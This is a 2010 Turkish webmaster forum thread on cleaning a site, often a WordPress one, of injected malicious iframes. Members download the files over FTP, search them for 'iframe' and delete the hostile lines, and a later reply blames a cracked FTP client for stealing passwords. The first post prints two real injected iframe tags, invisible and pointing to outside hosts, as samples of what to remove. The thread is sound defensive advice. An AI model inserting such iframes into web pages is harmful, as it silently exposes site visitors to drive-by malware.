• 06-03-2010, 15:29:43
    #1
    oncelikle herkese merhaba. yeni uye oldugumu soyleyerek baslamak istiyorum anlatima. kusurum veya eksigim varsa affola.

    bir cok makale okudum burada, sanirim kolay yoldan virusu temizlemenin tek yolu bu. sirayla gidecegim, sizde sirayla anlattiklarimi uygulamaya baslayin.

    1- Advanced Find and Replace adındaki boyutu dusuk fakat islevi buyuk programi buradan indirip, kuruyoruz.

    2- programi indirip, kurduktan sonra masaustune yeni klasor olusturuyoruz.

    3- ftp'den siteye baglanıp, tum dosyalari (ftp'de bulunan ise yarayan veya yaramayan tum dosyalari) bu yeni klasore aktariyoruz. (bu islem biraz uzun surebilir)

    4- aktarım tamamlandıktan sonra, advanced find and replace adli programi çalıştırıyoruz. programın arayuzu aşağıdaki gibidir;



    5- programi actiktan sonra, find sekmesindeki yazi yazma kısmına " iframe " yazıyoruz. sag ustte browse... butonuna tıklayıp masaustunde bulunan ve içerisinde ftp dosyaları olan yeni klasor isimli dosyayı seçiyoruz ve Execute butonuna basıp taramayi baslatiyoruz.

    6- program iframe yazılı php ve html uzantili dosyalari siralamaya basliyor. (en altta) sıraladigi dosyalarda iframe kodu ( vürusu ) bulunuyor demektir. bu dosyaları bulup, içerisindeki iframe kodunu silip tekrar ftp'ye gondermeniz halinde siteniz virüsten temizlenmiş olacak.

    onemli not: bazı iframe kodlari virus degildir. viruslu iframe ile, virussuz iframe arasında fark vardır. viruslu iframeler genellikle html ve php dosyalarınızın en altında bulunur ve aşağıdaki gibidir;

    <iframe src='http://81.95.145.240/logo/index.php' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 
    FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
    <iframe src="http://110.a38q.cn/lx.htm" width="100" height="0" frameborder="0"></iframe>
    siz yinede dosyalarin yedeklerini almadan yapmayin bu islemi. virüsten kurtulayım derken daha fazla bela almayin basiniza :-) virusten kurtulsaniz bile bilgisayariniza virus programi yuklemeyi ihmal etmeyin.

    konuyu wordpress bölümüne açma nedenim genellikle wordpress kurulu sitelere bulasması ve wordpress kuran site sahiplerinin basına gelmesi. anlasilmayan bir nokta varsa anlatmaya hazirim.

    kolay gelsin.
  • 06-03-2010, 15:43:29
    #2
    Üyeliği durduruldu
    Guzel Paylasin Tskler
  • 06-03-2010, 15:57:22
    #3
    Üyeliği durduruldu
    Daha öce verildi yinede tşklr..
  • 06-03-2010, 17:36:30
    #4
    rica ederim.

    yardimci olabildiysem eger ne mutlu
  • 13-03-2010, 14:44:02
    #5
    Bu şekilde bir kısır döngü içine girmştim. ne yaptıysam işin içinde çıkamıyordum. şifreyi değiştiriyorum yine bulaşıyor. temiz yedeği kuruyorum tüm siteyi silip , yine olmuyor. bir süre sonra virüs yine bulaşıyordu. daha sonra bir yerde okudum ve cute ftp kullanıyorum cracklı olarak. meğer ftp şifresini de değiştirsem cuteftp çalıyormuş şifreyi...

    Çözüm: Cute Ftp kullanıyorsanız silmek, başka bir ftp programı kullanmak. siteyi de içinde hiçbir zararlı kod kalmayana kadar temizlemek ( 1 tane kod bile kalsa hemen diğer sayfalara da bulaşıyor) ve ftp şifresini değiştirmek.
  • 15-03-2010, 13:50:38
    #6
    by_ram adlı üyeden alıntı: mesajı görüntüle
    Bu şekilde bir kısır döngü içine girmştim. ne yaptıysam işin içinde çıkamıyordum. şifreyi değiştiriyorum yine bulaşıyor. temiz yedeği kuruyorum tüm siteyi silip , yine olmuyor. bir süre sonra virüs yine bulaşıyordu. daha sonra bir yerde okudum ve cute ftp kullanıyorum cracklı olarak. meğer ftp şifresini de değiştirsem cuteftp çalıyormuş şifreyi...

    Çözüm: Cute Ftp kullanıyorsanız silmek, başka bir ftp programı kullanmak. siteyi de içinde hiçbir zararlı kod kalmayana kadar temizlemek ( 1 tane kod bile kalsa hemen diğer sayfalara da bulaşıyor) ve ftp şifresini değiştirmek.
    Dosya izinlerini değiştirmekte çözüm olabilir böyle durumlarda.